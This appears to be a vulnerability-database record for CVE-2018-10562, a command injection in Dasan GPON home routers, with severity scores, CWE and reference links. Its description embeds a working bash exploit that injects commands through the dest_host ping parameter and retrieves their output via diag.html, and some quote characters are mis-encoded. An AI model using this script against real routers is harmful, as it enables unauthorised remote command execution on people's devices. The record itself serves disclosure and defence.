VAR-201805-0263

Vulnerability from variot - Updated: 2023-12-18 12:56

An issue was discovered on Dasan GPON home routers. Command Injection can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output. Dasan GPON home routers Contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. An attacker could use the vulnerability to execute a command and retrieve the output by sending a diag_action=ping request with the \342\200\230dest_host\342\200\231 parameter to GponForm/diag_FormURI. Multiple Dasan GPON Routers is prone to an authentication-bypass vulnerability and a command-injection vulnerability. An attacker can exploit these issues to bypass authentication or execute arbitrary commands in the context of the affected device. #!/bin/bash

echo "[+] Sending the Commanda| "

We send the commands with two modes backtick (`) and semicolon (;) because different models trigger on different devices

curl -k -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`$2`;$2&ipv=0" $1/GponForm/diag_Form?images/ 2>/dev/null 1>/dev/null echo "[+] Waitinga|." sleep 3 echo "[+] Retrieving the ouputa|." curl -k $1/diag.html?images/ 2>/dev/null | grep adiag_result = a | sed -e as/\n/\n/ga

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CVE-2018-10562 (GCVE-0-2018-10562)

Vulnerability from cvelistv5 – Published: 2018-05-04 03:00 – Updated: 2025-10-21 23:45

Summary

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: active Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-02-04 14:23 UTC

CWE

n/a
CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

mitre mitre root

References

4 references

URL	Tags
http://www.securityfocus.com/bid/107053	vdb-entryx_refsource_BID
https://www.exploit-db.com/exploits/44576/	exploitx_refsource_EXPLOIT-DB
https://www.vpnmentor.com/blog/critical-vulnerabi…	x_refsource_MISC
https://www.cisa.gov/known-exploited-vulnerabilit…	government-resource

Date Public

2018-05-03 00:00

Show details on NVD website

JSON

To clipboard

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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.